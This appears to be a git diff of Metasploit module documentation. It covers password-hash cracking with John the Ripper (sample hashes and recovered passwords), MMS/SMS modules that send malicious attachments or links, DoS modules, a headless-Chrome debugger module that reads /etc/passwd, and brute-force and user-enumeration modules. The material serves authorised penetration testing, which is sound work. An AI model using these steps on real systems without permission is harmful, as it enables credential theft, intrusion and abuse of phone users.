Apply the [KoreLogic rules](http://contest-2010.korelogic.com/rules.html) to Wordlist Mode (slower).
Default is `false`.
**MUTATE**
Apply common mutations to the Wordlist (SLOW). Mutations are:
* `'@' => 'a'`
* `'0' => 'o'`
* `'3' => 'e'`
* `'$' => 's'`
* `'7' => 't'`
* `'1' => 'l'`
* `'5' => 's'`
Default is `false`.
**POT**
The path to a John POT file (JtR option: `--pot`) to use instead. The `pot` file is the data file which
records cracked password hashes. Kali linux's default location is `/root/.john/john.pot`.
Default is `~/.msf4/john.pot`.
**USE_CREDS**
Use existing credential data saved in the database. Default is `true`.
**USE_DB_INFO**
Use looted database schema info to seed the wordlist. This includes the Database Name, each Table Name,
and each Column Name. If the DB is MSSQL, the Instance Name is also used. Default is `true`.
**USE_DEFAULT_WORDLIST**
Use the default metasploit wordlist in `metasploit-framework/data/wordlists/password.lst`. Default is
`true`.
**USE_HOSTNAMES**
Seed the wordlist with hostnames from the workspace. Default is `true`.
**USE_ROOT_WORDS**
Use the Common Root Words Wordlist in `metasploit-framework/data/wordlists/common_roots.txt`. Default
is true.
## Scenarios
Create hashes:
```
creds add user:mysql_probe hash:445ff82636a7ba59 jtr:mysql
creds add user:mysql-sha1_tere hash:*5AD8F88516BD021DD43F171E2C785C69F8E54ADB jtr:mysql-sha1
```
Crack them:
```
msf5 > use auxiliary/analyze/jtr_mysql_fast
msf5 auxiliary(analyze/jtr_mysql_fast) > run
[*] Hashes Written out to /tmp/hashes_tmp20190211-6421-o7pt47
[*] Wordlist file written out to /tmp/jtrtmp20190211-6421-3t366y
[*] Cracking mysql hashes in normal wordlist mode...
Using default input encoding: UTF-8
[*] Cracking mysql hashes in single mode...
Using default input encoding: UTF-8
[*] Cracking mysql hashes in incremental mode (Digits)...
Using default input encoding: UTF-8
[*] Cracked Passwords this run:
[+] mysql_probe:probe
[*] Cracking mysql-sha1 hashes in normal wordlist mode...
Using default input encoding: UTF-8
[*] Cracking mysql-sha1 hashes in single mode...
Using default input encoding: UTF-8
[*] Cracking mysql-sha1 hashes in incremental mode (Digits)...
Using default input encoding: UTF-8
[*] Cracked Passwords this run:
[+] mysql-sha1_tere:tere
[*] Auxiliary module execution completed
msf5 auxiliary(analyze/jtr_mysql_fast) > creds
Credentials
===========
host origin service public private realm private_type JtR Format
---- ------ ------- ------ ------- ----- ------------ ----------
mysql_probe probe Password
mysql_probe 445ff82636a7ba59 Nonreplayable hash mysql
mysql-sha1_tere tere Password
mysql-sha1_tere *5AD8F88516BD021DD43F171E2C785C69F8E54ADB Nonreplayable hash mysql-sha1
```
@@ -1,168 +0,0 @@
## Vulnerable Application
This module attempts to use [john the ripper](https://www.openwall.com/john/) to decode oracle
based password hashes, such as:
* `oracle` (<=10) aka `des` based passwords
* `oracle11` based passwords
* Oracle 11 and 12c backwards compatibility `H` field (MD5)
* `oracle12c` based passwords
Sources of hashes can be found here:
[source](https://openwall.info/wiki/john/sample-hashes), [source2](http://pentestmonkey.net/cheat-sheet/john-the-ripper-hash-formats)
For a detailed explanation of Oracle 11/12c formats, see
[www.trustwave.com](https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/changes-in-oracle-database-12c-password-hashes/).
Oracle 11/12c `H` field is `dynamic_1506` in JtR and added
[here](https://github.com/magnumripper/JohnTheRipper/commit/53973c5e6eb026ea232ba643f9aa20a1ffee0ffb)
## Verification Steps
1. Have at least one user with an `oracle`, `oracle11`, or `oracle12c` password in the database
2. Start msfconsole
3. Do: ```use auxiliary/analyze/jtr_oracle_fast```
4. Do: ```run```
5. You should hopefully crack a password.
## Options
**CONFIG**
The path to a John config file (JtR option: `--config`). Default is `metasploit-framework/data/john.conf`
**CUSTOM_WORDLIST**
The path to an optional custom wordlist. This file is added to the new wordlist which may include the other
`USE` items like `USE_CREDS`, and have `MUTATE` or `KORELOGIC` applied to it.
**DeleteTempFiles**
This option will prevent deletion of the wordlist and file containing hashes. This may be useful for
running the hashes through john if it wasn't cracked, or for debugging. Default is `false`.
**ITERATION_TIMEOUT**
The max-run-time for each iteration of cracking
**JOHN_PATH**
The absolute path to the John the Ripper executable. Default behavior is to search `path` for
`john` and `john.exe`.
**KORELOGIC**
Apply the [KoreLogic rules](http://contest-2010.korelogic.com/rules.html) to Wordlist Mode (slower).
Default is `false`.
**MUTATE**
Apply common mutations to the Wordlist (SLOW). Mutations are:
* `'@' => 'a'`
* `'0' => 'o'`
* `'3' => 'e'`
* `'$' => 's'`
* `'7' => 't'`
* `'1' => 'l'`
* `'5' => 's'`
Default is `false`.
**POT**
The path to a John POT file (JtR option: `--pot`) to use instead. The `pot` file is the data file which
records cracked password hashes. Kali linux's default location is `/root/.john/john.pot`.
Default is `~/.msf4/john.pot`.
**USE_CREDS**
Use existing credential data saved in the database. Default is `true`.
**USE_DB_INFO**
Use looted database schema info to seed the wordlist. This includes the Database Name, each Table Name,
and each Column Name. If the DB is MSSQL, the Instance Name is also used. Default is `true`.
**USE_DEFAULT_WORDLIST**
Use the default metasploit wordlist in `metasploit-framework/data/wordlists/password.lst`. Default is
`true`.
**USE_HOSTNAMES**
Seed the wordlist with hostnames from the workspace. Default is `true`.
**USE_ROOT_WORDS**
Use the Common Root Words Wordlist in `metasploit-framework/data/wordlists/common_roots.txt`. Default
is true.
## Scenarios
Create hashes:
```
creds add user:simon hash:4F8BC1809CB2AF77 jtr:des,oracle
creds add user:SYSTEM hash:9EEDFA0AD26C6D52 jtr:des,oracle
creds add user:DEMO hash:'S:8F2D65FB5547B71C8DA3760F10960428CD307B1C6271691FC55C1F56554A;H:DC9894A01797D91D92ECA1DA66242209;T:23D1F8CAC9001F69630ED2DD8DF67DD3BE5C470B5EA97B622F757FE102D8BF14BEDC94A3CC046D10858D885DB656DC0CBF899A79CD8C76B788744844CADE54EEEB4FDEC478FB7C7CBFBBAC57BA3EF22C' jtr:raw-sha1,oracle
creds add user:oracle11_epsilon hash:'S:8F2D65FB5547B71C8DA3760F10960428CD307B1C6271691FC55C1F56554A;H:DC9894A01797D91D92ECA1DA66242209;T:23D1F8CAC9001F69630ED2DD8DF67DD3BE5C470B5EA97B622F757FE102D8BF14BEDC94A3CC046D10858D885DB656DC0CBF899A79CD8C76B788744844CADE54EEEB4FDEC478FB7C7CBFBBAC57BA3EF22C' jtr:raw-sha1,oracle
creds add user:oracle12c_epsilon hash:'H:DC9894A01797D91D92ECA1DA66242209;T:E3243B98974159CC24FD2C9A8B30BA62E0E83B6CA2FC7C55177C3A7F82602E3BDD17CEB9B9091CF9DAD672B8BE961A9EAC4D344BDBA878EDC5DCB5899F689EBD8DD1BE3F67BFF9813A464382381AB36B' jtr:pbkdf2,oracle12c
```
Crack them:
```
msf5 > use auxiliary/analyze/jtr_oracle_fast
msf5 auxiliary(analyze/jtr_oracle_fast) > run
[*] Wordlist file written out to /tmp/jtrtmp20190211-6421-v6a8wg
[*] Hashes Written out to /tmp/hashes_tmp20190211-6421-123367o
[*] Cracking oracle hashes in normal wordlist mode...
Using default input encoding: UTF-8
[*] Cracking oracle hashes in single mode...
Using default input encoding: UTF-8
[*] Cracked passwords this run:
[+] simon:A
[+] SYSTEM:THALES
[*] Hashes Written out to /tmp/hashes_tmp20190211-6421-1skc10b
[*] Cracking dynamic_1506 hashes in normal wordlist mode...
Using default input encoding: UTF-8
[*] Cracking dynamic_1506 hashes in single mode...
Using default input encoding: UTF-8
[*] Cracked passwords this run:
[*] Hashes Written out to /tmp/hashes_tmp20190211-6421-1qwsyoy
[*] Cracking oracle11 hashes in normal wordlist mode...
Using default input encoding: UTF-8
[*] Cracking oracle11 hashes in single mode...
Using default input encoding: UTF-8
[*] Cracked passwords this run:
[+] DEMO:epsilon
[+] oracle11_epsilon:epsilon
[*] Hashes Written out to /tmp/hashes_tmp20190211-6421-1f9piv4
[*] Cracking oracle12c hashes in normal wordlist mode...
Using default input encoding: UTF-8
[*] Cracking oracle12c hashes in single mode...
Using default input encoding: UTF-8
[*] Cracked passwords this run:
[+] oracle12c_epsilon:epsilon
[*] Auxiliary module execution completed
msf5 auxiliary(analyze/jtr_oracle_fast) > creds
Credentials
===========
host origin service public private realm private_type JtR Format
---- ------ ------- ------ ------- ----- ------------ ----------
simon A Password
simon 4F8BC1809CB2AF77 Nonreplayable hash des,oracle
SYSTEM THALES Password
SYSTEM 9EEDFA0AD26C6D52 Nonreplayable hash des,oracle
DEMO epsilon Password
DEMO S:8F2D65FB5547B71C8DA3760F10960428CD307B1C6271691FC55C1F56554A;H:DC9894A01797D91D92ECA1DA66242209;T:23D1F8CAC9001F69630ED2DD8DF67DD3BE5C470B5EA97B622F757FE102D8BF14BEDC94A3CC046D10858D885DB656DC0CBF899A79CD8C76B788744844CADE54EEEB4FDEC478FB7C7CBFBBAC57BA3EF22C Nonreplayable hash raw-sha1,oracle
oracle11_epsilon epsilon Password
oracle11_epsilon S:8F2D65FB5547B71C8DA3760F10960428CD307B1C6271691FC55C1F56554A;H:DC9894A01797D91D92ECA1DA66242209;T:23D1F8CAC9001F69630ED2DD8DF67DD3BE5C470B5EA97B622F757FE102D8BF14BEDC94A3CC046D10858D885DB656DC0CBF899A79CD8C76B788744844CADE54EEEB4FDEC478FB7C7CBFBBAC57BA3EF22C Nonreplayable hash raw-sha1,oracle
oracle12c_epsilon epsilon Password
oracle12c_epsilon H:DC9894A01797D91D92ECA1DA66242209;T:E3243B98974159CC24FD2C9A8B30BA62E0E83B6CA2FC7C55177C3A7F82602E3BDD17CEB9B9091CF9DAD672B8BE961A9EAC4D344BDBA878EDC5DCB5899F689EBD8DD1BE3F67BFF9813A464382381AB36B Nonreplayable hash pbkdf2,oracle12c
```
@@ -1,131 +0,0 @@
## Vulnerable Application
This module attempts to use [john the ripper](https://www.openwall.com/john/) to decode PostgreSQL
based password hashes, such as:
* `postgres` based passwords
* `raw-md5` based passwords
Sources of hashes can be found here:
[source](https://openwall.info/wiki/john/sample-hashes), [source2](http://pentestmonkey.net/cheat-sheet/john-the-ripper-hash-formats)
PostgreSQL is a `raw-md5` format with the username appended to the password. This format was
added to JtR as `dynamic_1034` [here](https://github.com/magnumripper/JohnTheRipper/commit/e57d740bed5c4f4e40a0ff346bcdde270a8173e6)
## Verification Steps
1. Have at least one user with an `postgres`, or `raw-md5` password in the database
2. Start msfconsole
3. Do: ```use auxiliary/analyze/jtr_postgres_fast```
4. Do: ```run```
5. You should hopefully crack a password.
## Options
**CONFIG**
The path to a John config file (JtR option: `--config`). Default is `metasploit-framework/data/john.conf`
**CUSTOM_WORDLIST**
The path to an optional custom wordlist. This file is added to the new wordlist which may include the other
`USE` items like `USE_CREDS`, and have `MUTATE` or `KORELOGIC` applied to it.
**DeleteTempFiles**
This option will prevent deletion of the wordlist and file containing hashes. This may be useful for
running the hashes through john if it wasn't cracked, or for debugging. Default is `false`.
**ITERATION_TIMEOUT**
The max-run-time for each iteration of cracking
**JOHN_PATH**
The absolute path to the John the Ripper executable. Default behavior is to search `path` for
`john` and `john.exe`.
**KORELOGIC**
Apply the [KoreLogic rules](http://contest-2010.korelogic.com/rules.html) to Wordlist Mode (slower).
Default is `false`.
**MUTATE**
Apply common mutations to the Wordlist (SLOW). Mutations are:
* `'@' => 'a'`
* `'0' => 'o'`
* `'3' => 'e'`
* `'$' => 's'`
* `'7' => 't'`
* `'1' => 'l'`
* `'5' => 's'`
Default is `false`.
**POT**
The path to a John POT file (JtR option: `--pot`) to use instead. The `pot` file is the data file which
records cracked password hashes. Kali linux's default location is `/root/.john/john.pot`.
Default is `~/.msf4/john.pot`.
**USE_CREDS**
Use existing credential data saved in the database. Default is `true`.
**USE_DB_INFO**
Use looted database schema info to seed the wordlist. This includes the Database Name, each Table Name,
and each Column Name. If the DB is MSSQL, the Instance Name is also used. Default is `true`.
**USE_DEFAULT_WORDLIST**
Use the default metasploit wordlist in `metasploit-framework/data/wordlists/password.lst`. Default is
`true`.
**USE_HOSTNAMES**
Seed the wordlist with hostnames from the workspace. Default is `true`.
**USE_ROOT_WORDS**
Use the Common Root Words Wordlist in `metasploit-framework/data/wordlists/common_roots.txt`. Default
is true.
## Scenarios
Create hashes:
```
creds add user:example postgres:md5be86a79bf2043622d58d5453c47d4860
```
Crack them:
```
msf5 > use auxiliary/analyze/jtr_postgres_fast
msf5 auxiliary(analyze/jtr_postgres_fast) > run
[*] Hashes written out to /tmp/hashes_tmp20190211-6421-1hooxft
[*] Wordlist file written out to /tmp/jtrtmp20190211-6421-1hv6clq
[*] Cracking dynamic_1034 hashes in normal wordlist mode...
Using default input encoding: UTF-8
[*] Cracking dynamic_1034 hashes in single mode...
Using default input encoding: UTF-8
[*] Cracking dynamic_1034 hashes in incremental mode (Digits)...
Using default input encoding: UTF-8
[*] Cracked passwords this run:
[+] example:password
[*] Auxiliary module execution completed
msf5 auxiliary(analyze/jtr_postgres_fast) > creds
Credentials
===========
host origin service public private realm private_type JtR Format
---- ------ ------- ------ ------- ----- ------------ ----------
example md5be86a79bf2043622d58d5453c47d4860 Postgres md5 raw-md5,postgres
example password Password
```
@@ -1,158 +0,0 @@
## Vulnerable Application
This module attempts to use [john the ripper](https://www.openwall.com/john/) to decode Windows
based password hashes, such as:
* `LM`, or `LANMAN` based passwords
* `NT`, `NTLM`, or `NTLANMAN` based passwords
Sources of hashes can be found here:
[source](https://openwall.info/wiki/john/sample-hashes), [source2](http://pentestmonkey.net/cheat-sheet/john-the-ripper-hash-formats)
## Verification Steps
1. Have at least one user with an `nt` or `lm` password in the database
2. Start msfconsole
3. Do: ```use auxiliary/analyze/jtr_windows_fast```
4. Do: ```run```
5. You should hopefully crack a password.
## Options
**CONFIG**
The path to a John config file (JtR option: `--config`). Default is `metasploit-framework/data/john.conf`
**CUSTOM_WORDLIST**
The path to an optional custom wordlist. This file is added to the new wordlist which may include the other
`USE` items like `USE_CREDS`, and have `MUTATE` or `KORELOGIC` applied to it.
**DeleteTempFiles**
This option will prevent deletion of the wordlist and file containing hashes. This may be useful for
running the hashes through john if it wasn't cracked, or for debugging. Default is `false`.
**ITERATION_TIMEOUT**
The max-run-time for each iteration of cracking
**JOHN_PATH**
The absolute path to the John the Ripper executable. Default behavior is to search `path` for
`john` and `john.exe`.
**KORELOGIC**
Apply the [KoreLogic rules](http://contest-2010.korelogic.com/rules.html) to Wordlist Mode (slower).
Default is `false`.
**MUTATE**
Apply common mutations to the Wordlist (SLOW). Mutations are:
* `'@' => 'a'`
* `'0' => 'o'`
* `'3' => 'e'`
* `'$' => 's'`
* `'7' => 't'`
* `'1' => 'l'`
* `'5' => 's'`
Default is `false`.
**POT**
The path to a John POT file (JtR option: `--pot`) to use instead. The `pot` file is the data file which
records cracked password hashes. Kali linux's default location is `/root/.john/john.pot`.
Default is `~/.msf4/john.pot`.
**USE_CREDS**
Use existing credential data saved in the database. Default is `true`.
**USE_DB_INFO**
Use looted database schema info to seed the wordlist. This includes the Database Name, each Table Name,
and each Column Name. If the DB is MSSQL, the Instance Name is also used. Default is `true`.
**USE_DEFAULT_WORDLIST**
Use the default metasploit wordlist in `metasploit-framework/data/wordlists/password.lst`. Default is
`true`.
**USE_HOSTNAMES**
Seed the wordlist with hostnames from the workspace. Default is `true`.
**USE_ROOT_WORDS**
Use the Common Root Words Wordlist in `metasploit-framework/data/wordlists/common_roots.txt`. Default
is true.
## Scenarios
Create hashes:
```
creds add user:lm_password ntlm:E52CAC67419A9A224A3B108F3FA6CB6D:8846F7EAEE8FB117AD06BDD830B7586C jtr:lm
creds add user:nt_password ntlm:AAD3B435B51404EEAAD3B435B51404EE:8846F7EAEE8FB117AD06BDD830B7586C jtr:nt
```
Crack them:
```
msf5 > use auxiliary/analyze/jtr_windows_fast
msf5 auxiliary(analyze/jtr_windows_fast) > run
[*] Hashes Written out to /tmp/hashes_tmp20190211-6421-koittz
[*] Wordlist file written out to /tmp/jtrtmp20190211-6421-1v82lkm
[*] Cracking lm hashes in normal wordlist mode...
Using default input encoding: UTF-8
Using default target encoding: CP850
Warning: poor OpenMP scalability for this hash type, consider --fork=8
Will run 8 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
0g 0:00:00:00 DONE (2019-02-11 19:34) 0g/s 1177Kp/s 1177Kc/s 1177KC/s PLANO..VAGRANT
Session completed
[*] Cracking lm hashes in single mode...
Using default input encoding: UTF-8
Using default target encoding: CP850
Warning: poor OpenMP scalability for this hash type, consider --fork=8
Will run 8 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
0g 0:00:00:02 DONE (2019-02-11 19:34) 0g/s 4634Kp/s 4634Kc/s 4634KC/s WAC1907..E1900
Session completed
[*] Cracking lm hashes in incremental mode (Digits)...
Using default input encoding: UTF-8
Using default target encoding: CP850
Warning: poor OpenMP scalability for this hash type, consider --fork=8
Will run 8 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
0g 0:00:00:00 DONE (2019-02-11 19:34) 0g/s 41152Kp/s 41152Kc/s 41152KC/s 0766269..0769743
Session completed
[*] Cracked Passwords this run:
[+] lm_password:password
[*] Cracking nt hashes in normal wordlist mode...
Using default input encoding: UTF-8
[*] Cracking nt hashes in single mode...
Using default input encoding: UTF-8
[*] Cracking nt hashes in incremental mode (Digits)...
Using default input encoding: UTF-8
[*] Cracked Passwords this run:
[+] lm_password:password
[+] nt_password:password
[*] Auxiliary module execution completed
msf5 auxiliary(analyze/jtr_windows_fast) > creds
Credentials
===========
host origin service public private realm private_type JtR Format
---- ------ ------- ------ ------- ----- ------------ ----------
lm_password password Password
lm_password e52cac67419a9a224a3b108f3fa6cb6d:8846f7eaee8fb117ad06bdd830b7586c NTLM hash nt,lm
nt_password password Password
nt_password aad3b435b51404eeaad3b435b51404ee:8846f7eaee8fb117ad06bdd830b7586c NTLM hash nt,lm
```
@@ -52,7 +52,7 @@ msf auxiliary(client/iec104/iec104) > set rhost 127.0.0.1
rhost => 127.0.0.1
msf auxiliary(client/iec104/iec104) > run
[+] 127.0.0.1:2404 - Recieved STARTDT_ACT
[+] 127.0.0.1:2404 - Received STARTDT_ACT
[*] 127.0.0.1:2404 - Sending 104 command
[+] 127.0.0.1:2404 - Parsing response: Interrogation command (C_IC_NA_1)
[+] 127.0.0.1:2404 - TX: 0002 RX: 0000
@@ -77,7 +77,7 @@ msf auxiliary(client/iec104/iec104) > run
[+] 127.0.0.1:2404 - CauseTx: 0a (Termination Activation)
[*] 127.0.0.1:2404 - operation ended
[*] 127.0.0.1:2404 - Terminating Connection
[+] 127.0.0.1:2404 - Recieved STOPDT_ACT
[+] 127.0.0.1:2404 - Received STOPDT_ACT
[*] Auxiliary module execution completed
msf auxiliary(client/iec104/iec104) >
```
@@ -97,7 +97,7 @@ msf auxiliary(client/iec104/iec104) > set command_value 5
command_value => 5
msf auxiliary(client/iec104/iec104) > run
[+] 127.0.0.1:2404 - Recieved STARTDT_ACT
[+] 127.0.0.1:2404 - Received STARTDT_ACT
[*] 127.0.0.1:2404 - Sending 104 command
[+] 127.0.0.1:2404 - Parsing response: Double command (C_DC_NA_1)
[+] 127.0.0.1:2404 - TX: 0002 RX: 0000
@@ -114,7 +114,7 @@ msf auxiliary(client/iec104/iec104) > run
[+] 127.0.0.1:2404 - IOA: 5 DCO: 0x05
[*] 127.0.0.1:2404 - operation ended
[*] 127.0.0.1:2404 - Terminating Connection
[+] 127.0.0.1:2404 - Recieved STOPDT_ACT
[+] 127.0.0.1:2404 - Received STOPDT_ACT
[*] Auxiliary module execution completed
msf auxiliary(client/iec104/iec104) >
```
@@ -1,10 +1,12 @@
## Vulnerable Application
The ```auxiliary/client/mms/send_mms``` module allows you to send a malicious attachment to a
collection of phone numbers of the same carrier.
In order to use this module, you must set up your own SMTP server to deliver messages. Popular
mail services such as Gmail, Yahoo, Live should work fine.
## Module Options
## Options
**CELLNUMBERS**
@@ -74,7 +76,7 @@ in order to receive the text, such as AT&T.
The MMS subject. Some carriers require this in order to receive the text, such as AT&T.
## Supported Carrier Gateways
### Supported Carrier Gateways
The module supports the following carriers:
@@ -84,14 +86,14 @@ The module supports the following carriers:
* Verizon
* Google Fi
## Finding the Carrier for a Phone Number
### Finding the Carrier for a Phone Number
Since you need to manually choose the carrier gateway for the phone numbers, you need to figure out
how to identify the carrier of a phone number. There are many services that can do this, such as:
http://freecarrierlookup.com/
## Gmail SMTP Example
### Gmail SMTP Example
Gmail is a popular mail server, so we will use this as a demonstration.
@@ -111,7 +113,7 @@ After creating the application password, configure auxiliary/client/mms/send_mms
And you should be ready to go.
## Yahoo SMTP Example
### Yahoo SMTP Example
Yahoo is also a fairly popular mail server (although much slower to deliver comparing to Gmail),
so we will demonstrate as well.
@@ -136,7 +138,7 @@ After configuring your Yahoo account, configure auxiliary/client/mms/send_mms th
And you're good to go.
## Demonstration
## Scenarios
After setting up your mail server and the module, your output should look similar to this:
@@ -1,10 +1,12 @@
## Vulnerable Application
The ```auxiliary/client/sms/send_text``` module allows you to send a malicious text/link to a collection
of phone numbers of the same carrier.
In order to use this module, you must set up your own SMTP server to deliver messages. Popular
mail services such as Gmail, Yahoo, Live should work fine.
## Module Options
## Options
**CELLNUMBERS**
@@ -57,7 +59,7 @@ The password you use to log into the SMTP server.
The FROM field of SMTP. In some cases, it may be used as ```SMTPUSER```.
## Supported Carrier Gateways
### Supported Carrier Gateways
The module supports the following carriers:
@@ -73,7 +75,7 @@ The module supports the following carriers:
**Note:** During development, we could not find a valid gateway for Sprint, therefore it is currently
not supported.
## Finding the Carrier for a Phone Number
### Finding the Carrier for a Phone Number
Since you need to manually choose the carrier gateway for the phone numbers, you need to figure out
how to identify the carrier of a phone number. There are many services that can do this, such as:
@@ -82,7 +84,7 @@ http://freecarrierlookup.com/
**Note:** If the phone is using Google Fi, then it may appear as a different carrier.
## Gmail SMTP Example
### Gmail SMTP Example
Gmail is a popular mail server, so we will use this as a demonstration.
@@ -100,7 +102,7 @@ After creating the application password, configure auxiliary/client/sms/send_tex
And you should be ready to go.
## Yahoo SMTP Example
### Yahoo SMTP Example
Yahoo is also a fairly popular mail server (although much slower to deliver comparing to Gmail),
so we will demonstrate as well.
@@ -123,7 +125,7 @@ After configuring your Yahoo account, configure auxiliary/client/sms/send_text t
And you're good to go.
## Demonstration
### Scenarios
After setting up your mail server and the module, your output should look similar to this:
@@ -3,7 +3,7 @@ This module triggers a Denial of Service vulnerability in the Flexense Enterpris
a write access memory vialation via rapidly sending HTTP requests with large HTTP header values.
## Vulnerable Application
## Verification Steps
According To publicly exploit Disclosure of Flexense HTTP Server v10.6.24
Following list of softwares are vulnerable to Denial Of Service.
read more : http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-8065
@@ -15,7 +15,7 @@ Vulnerable app versions include:
Related security bulletin from IBM: http://www-01.ibm.com/support/docview.wss?uid=swg21999385
## Verification
## Verification Steps
1. Start msfconsole
1. `use auxiliary/dos/http/ibm_lotus_notes.rb`
@@ -15,7 +15,7 @@ IBM Notes 8.5 release
Related security bulletin from IBM: http://www-01.ibm.com/support/docview.wss?uid=swg21999384
## Verification
## Verification Steps
Start msfconsole
@@ -0,0 +1,36 @@
## Vulnerable Application
Metasploit Framework before version 5.0.28
## Verification Steps
1. Install Metasploit 5.0.27 or earlier (or checkout before commit 5621d200ccf62e4a8f0dad80c1c74f4e0e52d86b)
2. Start msfconsole with the target Metasploit instance and start any reverse_http/reverse_https listener
3. Start this module and set RHOSTS and RPORT to the target listener address and port.
4. Run the modulest <rhost>```
7. `msfconsole` should use 99%+ CPU for a varying amount of time depending on the DOSTYPE option. You may need to kill the process manually.
## Options
**DOSTYPE**
GENTLE: *Current sessions will continue to work, but not future ones*
A lack of input sanitation permits an attacker to submit a request that will be added to the resources and will be used as regex rule it is possible then to make a valid regex rule that captures all the new handler requests. The sessions that were established previously will continue to work.
SOFT: *No past or future sessions will work*
A lack of input sanitation and lack of exception handling causes Metasploit to behave abnormally when looking an appropriate resource for the request, by submitting an invalid regex as a resource. This means that no request, current or future will get served an answer.
HARD: *ReDOS or Catastrophic Regex Backtracking*
A lack of input sanitization on paths added as resources allows an attacker to execute a catastrophic regex backtracking operation causing a Denial of Service by CPU consumption.
## Scenarios
```
msf5 auxiliary(dos/http/metasploit_httphandler_dos) > run
[*] Running module against 127.0.0.1
[*] 127.0.0.1:8080 - Sending DoS packet...
^C[-] Stopping running againest current target...
[*] Control-C again to force quit all targets.
[*] Auxiliary module execution completed
```
@@ -55,7 +55,7 @@ at ../src/ephy-main.c line 432
```
## Verification
## Verification Steps
Start msfconsole
use auxiliary/dos/http/webkitplus
@@ -1,4 +1,4 @@
## Description
## Vulnerable Application
This module exploits three vulnerabilities in Advantech WebAccess.
@@ -12,9 +12,6 @@ The final vulnerability exploited is that the HTML Form on the user edit page co
plain text password in the masked password input box. Typically the system should replace the
actual password with a masked character such as "*".
## Vulnerable Application
Version 8.1 was tested during development:
http://advcloudfiles.advantech.com/web/Download/webaccess/8.1/AdvantechWebAccessUSANode8.1_20151230.exe
@@ -41,7 +38,6 @@ The username to use to log into Advantech WebAccess. By default, there is a buil
The password to use to log into AdvanTech WebAccess. By default, the built-in account ```admin```
does not have a password, which could be something you can use.
## Demo
## Scenarios
![webaccess_steal_creds](https://cloud.githubusercontent.com/assets/1170914/22353246/34b2045e-e3e5-11e6-992c-f3ab9dcbe716.gif)
@@ -4,7 +4,7 @@ This module retrieves a browser's network interface IP addresses using WebRTC. H
Related links : https://datarift.blogspot.in/p/private-ip-leakage-using-webrtc.html
## Verification
## Verification Steps
Start msfconsole
use auxiliary/gather/browser_lanipleak
@@ -1,4 +1,7 @@
The module use the Censys REST API to access the same data accessible through web interface. The search endpoint allows searches against the current data in the IPv4, Top Million Websites, and Certificates indexes using the same search syntax as the primary site.
## Vulnerable Application
The module use the Censys REST API to access the same data accessible through web interface.
The search endpoint allows searches against the current data in the IPv4, Top Million Websites, and Certificates indexes using the same search syntax as the primary site.
## Verification Steps
@@ -207,8 +210,3 @@ msf auxiliary(censys_search) > run
[+] wesecure.nl - [997423]
[*] Auxiliary module execution completed
```
## References
1. https://censys.io/api
@@ -0,0 +1,46 @@
# Chrome Debugger Arbitary File Read / Abitrary Web Request Auxiliary Module
This module takes advantage of misconfigured headless chrome sessions and either retrieves a specified file off the remote file system, or makes a web request from the remote machine.
## Headless Chrome Sessions
A vulnerable Headless Chrome session can be started with the following command:
```
$ google-chrome --remote-debugging-port=9222 --headless --remote-debugging-address=0.0.0.0
```
This will start a webserver running on port 9222 for all network interfaces.
## Verification Steps
1. Start `msfconsole`
2. Execute `auxiliary/gather/chrome_debugger`
3. Execute `set RHOST $REMOTE_ADDRESS`
4. Execute `set RPORT 9222`
5. Execute either `set FILEPATH $FILE_PATH_ON_REMOTE` or `set URL $URL_FROM_REMOTE`
6. Execute `run`
## Options
* FILEPATH - The file path on the remote you wish to retrieve
* URL - A URL you wish to fetch the contents of from the remote machine
**Note:** One or the other must be set!
## Example Run
```
[*] Attempting Connection to ws://192.168.20.168:9222/devtools/page/CF551031373306B35F961C6C0968DAEC
[*] Opened connection
[*] Attempting to load url file:///etc/passwd
[*] Received Data
[*] Sending request for data
[*] Received Data
[+] Retrieved resource
[*] Auxiliary module execution completed
```
## Notes
This can be useful for retrieving cloud metadata in certain scenarios. Primarily this module targets developers.
@@ -9,7 +9,7 @@ accounts are enabled or disabled/locked out.
To use kerberos_enumusers, make sure you are able to connect to the
Kerberos service on a Domain Controller.
## Scenario
## Scenarios
The following demonstrates basic usage, using a custom wordlist,
targeting a single Domain Controller to identify valid domain user
@@ -1,4 +1,4 @@
## Intro
## Introduction
From the `bootparamd(8)` man page:
@@ -1,4 +1,4 @@
## Intro
## Introduction
If you've worked with old Unix systems before, you've probably
encountered NIS (Network Information Service). The most familiar way of
@@ -1,4 +1,4 @@
## Description
## Vulnerable Application
Nuuo CMS Session Bruteforce
@@ -49,8 +49,6 @@ Secondly, due to the nature of this application, it is normal to have the softwa
It is worth noticing that when a user logs in, the session has to be maintained by periodically sending a PING request. To bruteforce the session, we send each guess with a PING request until a 200 OK message is received.
## Vulnerable Application
[NUUO Central Management Server (CMS): all versions below 2.4.0](d1.nuuo.com/NUUO/CMS/)
- 1.5.2 OK
@@ -73,9 +71,3 @@ msf5 auxiliary(gather/nuuo_cms_bruteforce) > exploit
[*] Auxiliary module execution completed
msf5 auxiliary(gather/nuuo_cms_bruteforce) >
```
## References
https://ics-cert.us-cert.gov/advisories/ICSA-18-284-02
https://raw.githubusercontent.com/pedrib/PoC/master/advisories/nuuo-cms-ownage.txt
@@ -1,4 +1,4 @@
## Description
## Vulnerable Application
Nuuo CMS Authenticated Arbitrary File Download
@@ -26,8 +26,6 @@ This module works in the following way:
Due to the lack of ZIP encryption support in Metasploit, the module prints a warning indicating that the archive cannot be unzipped in Msf.
## Vulnerable Application
[NUUO Central Management Server (CMS): all versions up to and including 3.5.0](http://d1.nuuo.com/NUUO/CMS/)
The following versions were tested:
@@ -63,9 +61,3 @@ msf5 auxiliary(gather/nuuo_cms_file_download) > exploit
[*] Auxiliary module execution completed
msf5 auxiliary(gather/nuuo_cms_file_download) >
```
## References
- https://ics-cert.us-cert.gov/advisories/ICSA-18-284-02
- https://raw.githubusercontent.com/pedrib/PoC/master/advisories/nuuo-cms-ownage.txt
@@ -1,3 +1,5 @@
## Vulnerable Application
External python module compatible with v2 and v3.
Enumerate valid usernames (email addresses) from Office 365 using ActiveSync.
@@ -14,9 +16,7 @@ Microsoft Security Response Center stated on 2017-06-28 that this issue does not
This script is maintaing the ability to run independently of MSF.
## Vulnerable Application
Office365's implementation of ActiveSync
Office365's implementation of ActiveSync is vulnerable.
## Verification Steps
@@ -41,6 +41,7 @@ This script is maintaing the ability to run independently of MSF.
## Scenarios
The following demonstrates basic usage, using the supplied users wordlist
and default options.
